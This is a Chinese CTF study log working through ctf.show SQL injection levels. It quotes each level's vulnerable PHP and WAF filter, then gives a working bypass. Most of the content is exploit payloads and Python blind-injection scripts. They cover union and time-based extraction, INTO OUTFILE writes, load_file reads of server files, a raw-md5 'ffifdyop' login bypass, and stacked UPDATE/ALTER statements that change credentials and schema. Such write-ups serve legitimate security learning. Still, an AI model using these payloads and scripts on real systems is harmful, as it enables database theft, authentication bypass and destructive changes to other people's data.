今天是2021/7/25,正式进入sql注入专题,目标:加强python的学习,达到通过写python脚本,加快注入速度的程度,掌握sql在php编程中的一系列查询语句。
可以看看Y4师傅以前记录的小笔记
SQL注入之MySQL注入的学习笔记(一)
SQL注入之MySQL注入学习笔记(二)
hex() 、to_base64()
查询语句
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}
意思大概就是把flag从查询中给ban掉了
解决方法
利用编码解决:base64、hex
这里针对的是id = '".$_GET['id']."'
,双引号是包括在内的,可能只是起解析作用
payload
yn8'union select to_base64(username),hex(password) from ctfshow_user2+--+
16进制在线
查询语句一样(不贴了,占地方)
返回逻辑
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
PHP JSON
也就是说返回的结果是不能有flag和任何数字
解决方案
采取盲注并利用二分法来判断
# -*- coding: utf-8 -*-
# @Author : Yn8rt
# @Time : 2021/7/25 17:17
# @Function:
import requests
url = "http://cece2e87-a82b-4be3-9a5d-fd78f587916e.challenge.ctf.show:8080/api/v4.php"
flag = ''
for i in range(0,100): # 创建一个整数列表
max = 128 # ASCII可见字符
min = 32
while 1:
mid = min+((max-min)//2) # 取整除 - 向下取接近商的整数
if min==mid:
flag+=chr(mid)
print(flag)
break
payload="?id=' union select 'a'," \
"if(ascii(substr((select group_concat(password) " \
"from ctfshow_user4 where username='flag'),%d,1))<%d," \
"'small','da')+--+"%(i,mid)
res = requests.get(url=url+payload).text
#print(res)
if "small" in res:
max = mid
else:
min = mid
返回逻辑
//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
检测\x00-\x7f也就是0-127,所以普通的盲注是不行了
时间盲注测试语句:1'and if(1=1,sleep(2),0)+--+
可以
Python 3 字符串前 加 u、r、b 、f的含义
一篇读懂Python中的位运算
嫁接y4的脚本,比较好理解
import requests
url = "http://6cd84f2d-be07-46cc-bc8e-90b6ff57f72a.challenge.ctf.show:8080/api/v5.php?id=1' and "
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# payload = f'1=if(ascii(substr(database(),{i},1))>{mid},sleep(2),0)+--+'
# payload = f'1=if(ascii(substr((select table_name from information_schema.tables where table_schema=database()),{i},1))>{mid},sleep(2),0)+--+'
# payload = f'1=if(ascii(substr((select column_name from information_schema.columns where table_name='ctfshow_user5'),{i},1))>{mid},sleep(2),0)+--+'
payload = f'1=if(ascii(substr((select password from ctfshow_user5 limit 24,1),{i},1))>{mid},sleep(2),0)+--+'
try:
r = requests.get(url + payload, timeout=0.5)
tail = mid
except Exception as e:
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(result)
利用into outfile来实现文件的输出
?id=1' union select 1,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/1.txt'+--+
除了空格,在代码中可以代替的空白符还有:
%0a
%0b
%0c
%0d
%09
%a0(在特定字符集才能利用)
以上均为URL编码
/**/组合
括号
%23代替注释符 --
优先级 and > or
查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}
空格利用的是()括号代替的
解题:
where username !='flag' and id = ''or(id=26)and'1'='1' limit 1
where (username !='flag' and id = '')or(id=26 and'1'='1') limit 1
因为or的存在,相当于要select两次,但又因为or左边是为0的,右边为id=26,所以只select右边
完整的sql语句变为:select id,username,password from ctfshow_user where id=26 limit 1
关于优先级问题就跟加减号与乘除号一样,and先运算,那么and的运算结果过程如何解释:需要同时满足两边的条件才会返回true,否则不执行啊!那么这里就是让第一个and语句返回false让后面的and语句来做到知行的效果
payload:'or(id=26)and'1'='1
查询语句
//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";";
返回逻辑
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}
查询结果
//返回用户表的记录总数
$user_count = 0;
解题思路
括号代替的是空格
tableName=(ctfshow_user)where(pass)like'ctfshow{%'
% :在sql中通配 N 个字符
_ :通配任意一个字符
会发现返回结果 $user_count = 1;代表匹配到了一个,利用此模式盲注
python脚本
需要post传参
# -*- coding: utf-8 -*-
# @Author : Yn8rt
# @Time : 2021/7/27 12:21
# @Function:
import requests
import sys
url = 'http://d4c4cba3-a83d-4957-a3e7-b6d67bd3a89d.challenge.ctf.show:8080/select-waf.php'
letter = '0123456789abcdefghijklmnopqrstuvwxyz-{}'
flag = 'ctfshow{'
for i in range(0,150):
for j in letter:
payload = {"tableName":"(ctfshow_user)where(pass)like'{}%'".format(flag+j)}
r = requests.post(url=url,data=payload).text
if "$user_count = 1;" in r:
flag+=j
print(flag)
break
if j=="}":
sys.exit()
返回逻辑
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
python脚本
利用到了mysql中的regexp正则匹配
MySQL中的内连接、左连接、右连接、全连接、交叉连接
SQL JOIN 中 on 与 where 的区别:在此脚本中是用on代替了where
利用having来代替where也是作为一个条件判断子句
利用16进制代替引号
# -*- coding: utf-8 -*-
# @Author : Yn8rt
# @Time : 2021/7/27 15:04
# @Function:
import requests
import sys
url = 'http://683f40c0-31e4-46a7-bed1-f8eb216b7515.challenge.ctf.show:8080/select-waf.php'
flag = 'ctfshow{'
letter = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
def asc2hex(s):
a1 = ''
a2 = ''
for i in s:
a1+=hex(ord(i))
a2 = a1.replace("0x","")
return a2
for i in range(100):
for j in letter:
payload = {
"tableName":"ctfshow_user group by pass having pass like {}".format("0x"+asc2hex(flag+j+"%"))
}
r = requests.post(url=url,data=payload).text
if "$user_count = 1;" in r:
flag+=j
print(flag)
break
if j == "}":
sys.exit()
返回逻辑
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
mysql中的利用字符组合成的数字:
python脚本:
# -*- coding: utf-8 -*-
# @Author : Yn8rt
# @Time : 2021/7/27 21:52
# @Function:
import requests
import sys
def createNum(n):
num = "true"
if n == 1:
return "true"
else:
for i in range(n - 1):
num += "+true"
return num
def createstrNum(m):
_str = ""
for j in m:
_str += ",chr(" + createNum(ord(j)) + ")"
return _str[1:]
url = "http://282b6260-a1f9-437d-98f1-a7fb46d977a5.challenge.ctf.show:8080/select-waf.php"
letter = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag = "ctfshow{"
for i in range(100):
for j in letter:
data = {
'tableName': 'ctfshow_user group by pass having pass like concat({})'.format(createstrNum(flag + j + "%"))
}
res = requests.post(url=url, data=data).text
# print(res)
if "$user_count = 1;" in res:
flag += j
print(flag)
break
if j == "}":
sys.exit()
查询语句
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";
返回逻辑
$username = $_POST['username'];
$password = md5($_POST['password'],true);
//只有admin可以获得flag
if($username!='admin'){
$ret['msg']='用户名不存在';
die(json_encode($ret));
}
注意到md5(string,true)
这个函数
md5(string,raw)
其中raw参数可选,且有两种选择
当有true这个参数,会以二进制的形式输出16个字符。返回的这个原始二进制不是普通的0 1
二进制。
再看下一个知识点
在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。当然在我后来测试中发现,不只是1开头,只要是数字开头都是可以的。
当然如果只有数字的话,就不需要单引号,比如password=‘xxx’ or 1,那么返回值也是true。(xxx指代任意字符)
构造payload
$sql = "select count(*) from ctfshow_user where username = 'admin' and password= 'ffifdyop'";
$sql = "select count(*) from ctfshow_user where username = 'admin' and password= ''or'6�]��!r,��b'";
随手写个小脚本啊:
# -*- coding: utf-8 -*-
# @Author : Yn8rt
# @Time : 2021/7/28 20:02
# @Function:
import requests
url = 'http://c523bc8a-a1eb-4c7b-81c2-915c52efa9bb.challenge.ctf.show:8080/select-waf.php'
url2 = ' http://c523bc8a-a1eb-4c7b-81c2-915c52efa9bb.challenge.ctf.show:8080/api/'
payload = {
"username":"admin",
"password":"ffifdyop"
}
#r = requests.post(url=url,data=payload)
res = requests.post(url=url2,data=payload).text
print(res)
查询语句
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username}";
返回逻辑
//用户名检测
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));
}
mysql中字母与数字的比较过程:
你可以尝试一下在数据库中使用这样的语句:
select * from stu where name=0
很有可能是能查询出东西的,即使你没有name为0的数据
这是因为数据库进行了弱比较,它select出所有name是以字母为开头的数据
以字母为开头的字符型数据在与数字型比较时,会强制转化为0,再与数字比较(这里很类似于PHP的弱比较)
假设我们username为0,那么就会相等,从而匹配成功
在这里的password是用0来混字母开头的$row['pass']
# -*- coding: utf-8 -*-
# @Author : Yn8rt
# @Time : 2021/7/28 20:02
# @Function:
import requests
url = 'challenge.ctf.show:8080/api/'
payload = {
#"username":"1||1",
"username":"0",
"password":"0"
}
res = requests.post(url=url,data=payload).text
print(res)
load_file
结合regexp
盲注hints:flag在api/index.php文件中
mysql load_file在数据库注入中使用
# -*- coding: utf-8 -*-
# @Author : Yn8rt
# @Time : 2021/7/30 15:48
# @Function:
import requests
import sys
import json
url = 'http://6ef6bc21-0110-4f40-bb9e-d260d53faac1.challenge.ctf.show:8080/api/index.php'
flag = 'ctfshow{'
letter = '0123456789abcdefghijklmnopqrstuvwxyz-{}'
for i in range(100):
for j in letter:
payload = {
"username": "if(load_file('/var/www/html/api/index.php')regexp('{}'),0,1)".format(flag + j),
"password": "0"
}
r = requests.post(url=url,data=payload)
#print(r)
if "密码错误" == r.json()['msg']:
flag += j
print(flag)
break
if '}' in flag:
sys.exit()
是否注入成功利用的是mysql中的弱比较的返回值“密码错误”
查询语句
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";
返回逻辑
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
//TODO:感觉少了个啥,奇怪
python脚本
# -*- coding: utf-8 -*-
# @Author : Yn8rt
# @Time : 2021/7/30 16:16
# @Function:
import requests
url = 'http://ba83b7e4-1f63-428d-aa58-589b7afe233a.challenge.ctf.show:8080/api/'
flag = ""
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# 查数据库
payload = "database()"
# 查表
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查字段
# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
# 查flag
#payload = "select group_concat(f1ag) from ctfshow_fl0g"
data = {
'username': f"admin' and if(ascii(substr(({payload}),{i},1))>{mid},1,0)='1",
'password': '1'
}
r = requests.post(url=url,data=data)
if "密码错误" == r.json()['msg']:
head = mid + 1
else:
tail = mid
if head != 32:
flag += chr(head)
else:
break
print(flag)
返回逻辑
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
将190脚本修改即可
# -*- coding: utf-8 -*-
# @Author : Yn8rt
# @Time : 2021/7/30 16:16
# @Function:
import requests
url = 'http://ba83b7e4-1f63-428d-aa58-589b7afe233a.challenge.ctf.show:8080/api/'
flag = ""
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# 查数据库
payload = "database()"
# 查表
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查字段
# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
# 查flag
#payload = "select group_concat(f1ag) from ctfshow_fl0g"
data = {
'username': f"admin' and if(ascii(substr(({payload}),{i},1))>{mid},1,0)='1",
'password': '1'
}
r = requests.post(url=url,data=data)
if "密码错误" == r.json()['msg']:
head = mid + 1
else:
tail = mid
if head != 32:
flag += chr(head)
else:
break
print(flag)
禁用substr
# -*- coding: utf-8 -*-
# @Author : Yn8rt
# @Time : 2021/8/3 16:46
# @Function:
import requests
import sys
url = 'http://955bf0a2-3516-4e57-9534-f5029f4ada04.challenge.ctf.show:8080/api/'
flag = 'ctfshow{'
letter = '0123456789abcdefghijklmnopqrstuvwxyz-_,{}'
for i in range(100):
for j in letter:
payload = "' or if((select group_concat(f1ag) from ctfshow_flxg) like '{}',1,0) ='1".format(flag+j+"%")
data={
'username':payload,
'password':1
}
res = requests.post(url=url,data=data)
if "密码错误" == res.json()['msg']:
flag += j
print(flag)
break
if "}" in flag:
sys.exit()
LOCATE
用到了locate
LOCATE(substr,string)
返回字符串string
中第一次出现子字符串的位置 subtr
,从1开始计数
例如:SELECT LOCATE(‘2’, ‘123’) 返回 2
payload:
payload="' or if((locate('{}',(select group_concat(f1ag) from ctfshow_flxg limit 0,1))=1),1,2)='1".format(flag+j)
接下来一个括号一个括号的分析:
select group_concat(f1ag) from ctfshow_flxg limit 0,1
=ctfshow{123456789}
locate('ctfshow{',(ctfshow{123456789}))=1
剩下if 就不解释了,可以本地试一下
更换上题脚本的payload即可
UPDATE
查询语句
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";
返回逻辑
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}
payload:
payload="0x61646d696e;update`ctfshow_user`set`pass`=0x313131;"
# 至于为什么非得用十六进制登录,是因为下面这个没有字符串单引号包围
sql = "select pass from ctfshow_user where username = {$username};";
admin
<=> 0x61646d696e
111
<=>0x313131
关键之处:$row[0]==$password
uname:1;select(666)
passwd:666
通过把密码列与id互换之后,降低密码的爆破难度,实现简单爆破密码
import requests
url = "http://b126bc7c-2b32-461d-9520-30d5baf7a152.chall.ctf.show/api/"
for i in range(100):
if i == 0:
data = {
'username': '0;alter table ctfshow_user change column `pass` `ppp` varchar(255);alter table ctfshow_user '
'change column `id` `pass` varchar(255);alter table ctfshow_user change column `ppp` `id` '
'varchar(255);',
'password': f'{i}'
}
r = requests.post(url, data=data)
data = {
'username': '0x61646d696e',
'password': f'{i}'
}
r = requests.post(url, data=data)
if "登陆成功" in r.json()['msg']:
print(r.json()['msg'])
break
# username=0;show tables;
# pass=ctfshow_user
非常机智的做法